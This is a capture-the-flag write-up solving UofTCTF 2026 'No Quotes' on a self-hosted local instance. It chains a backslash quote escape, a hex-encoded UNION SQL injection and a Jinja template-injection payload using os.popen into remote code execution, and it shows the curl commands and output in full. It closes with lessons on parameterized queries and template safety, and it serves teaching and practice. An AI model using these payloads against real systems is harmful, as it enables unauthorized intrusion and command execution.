UofTCTF 2026 — No Quotes Writeup
A two-character quote ban, escaping the closing quote with a backslash, a hex-encoded UNION injection, and an SSTI in /home via render_template_string that ends in RCE.
UofTCTF 2026 — No Quotes
A login portal themed around "Go Go Squid!". Because the source was provided I solved it white-box: ' and " are banned, but the SQL query is built with an f-string and /home calls render_template_string directly. Stack the two weaknesses and you reach RCE without ever sending a quote through the WAF.
Scope: a local instance I stood up myself. No external system was touched.
1. Source review
The login query is built by embedding user input straight into the string:
query = (
"SELECT id, username FROM users "
f"WHERE username = ('{username}') AND password = ('{password}')"
)The only thing filtering input is two characters:
def waf(value: str) -> bool:
blacklist = ["'", '"']
return any(char in value for char in blacklist)On login, /home does this:
return render_template_string(open("templates/home.html").read() % session["user"])session["user"] is the username column the query returned. home.html contains %s, so the string coming back from the database is first written into the template with % formatting and then compiled as Jinja source. If I can make a controllable username, that is SSTI → RCE.
The chain: WAF → backslash escape → hex-encoded UNION → SSTI → /readflag.
2. Setting up the environment
The archive ships a Docker setup; I have no daemon here, so I installed the same stack natively (MariaDB + the application, unmodified).
python3 -m venv /tmp/noq-venv
/tmp/noq-venv/bin/pip install flask==3.0.3 pymysql==1.1.1
# MariaDB installed, ctf/ctf user and ctf database ready
cd src/src && /tmp/noq-venv/bin/python app.py # if :5000 is takenPort 5000 is held by AirPlay on macOS, so I started the app on 5001 without changing its code:
/tmp/noq-venv/bin/python -c "import app; app.ensure_db(); app.app.run(host='127.0.0.1', port=5001, debug=False)"In the container only root can read the flag, and
/readflagis setuid (readflag.c:setuid(0); system("cat /root/flag.txt")). The local run has no root privilege, so I emulated the same read with/tmp/readflag. The archive flag is fixed in the Dockerfile:uoftctf{fake_flag}.
3. Verifying the WAF
curl -s -X POST http://127.0.0.1:5001/login \
--data-urlencode "username=admin'" --data-urlencode "password=x" | grep -o "No quotes allowed!"
# No quotes allowed!Quotes are banned. The classic ' OR 1=1-- - is dead. But the input is already placed inside quotes, and MySQL/MariaDB treats backslash as an escape character: \ escapes the closing quote and shifts the parse.
I tried the string directly with pymysql. username is \, password carries the injection:
q = "SELECT id, username FROM users WHERE username = ('\\') AND password = (') UNION SELECT 1,CONVERT(0x<hex> USING utf8mb4)#')"Q: ... WHERE username = ('\') AND password = (') UNION SELECT 1,CONVERT(0x7b7b20.. USING utf8mb4)#')
ROW: (1, "{{ cycler.__init__.__globals__.os.popen('/tmp/readflag').read() }}")How it works: \' escapes the closing quote → the username string extends and the password field spills out of the query; ) opens the injection point and # comments out the rest. The second column returned is our string.
No banned character appears: the payload string travels as a 0x... hex literal, converted to text with CONVERT(... USING utf8mb4). Not a single quote crosses the wire.
4. End-to-end exploit
B=http://127.0.0.1:5001
PAYLOAD="{{ cycler.__init__.__globals__.os.popen('id; /tmp/readflag').read() }}"
HEX=$(printf '%s' "$PAYLOAD" | xxd -p | tr -d '\n')
INJ_PW=") UNION SELECT 1,CONVERT(0x$HEX USING utf8mb4)#"
curl -s -c /tmp/cj -X POST $B/login \
--data-urlencode 'username=\' --data-urlencode "password=$INJ_PW" -o /dev/null -w "login=%{http_code}\n"
# login=302302 → logged in and session["user"] is now the Jinja payload. When /home renders, the template executes:
curl -s -b /tmp/cj $B/home | grep -oE "uid=[^<]*|uoftctf\{[^}]*\}"uid=501(ibrahim) gid=20(staff) groups=20(staff),101(access_bpf),12(everyone),61(localaccounts),79(_appserverusr),80(admin),...
uoftctf{fake_flag}os.popen ran the command (RCE) and /readflag returned the flag.
5. Flag and lessons
The final step inside the container is /readflag:
uoftctf{fake_flag}The archive flag is fixed in the Dockerfile; a real event generates a different one per instance. What is demonstrated here is the chain itself.
Lesson: a two-character blacklist is not input sanitization. The quote ban is bypassed with a backslash, and taking a value that came back from the database, writing it into a template with %, and handing it to render_template_string is RCE on its own. Carry input with parameterized queries, and never turn user data into template source.
What do you think?
React to show your appreciation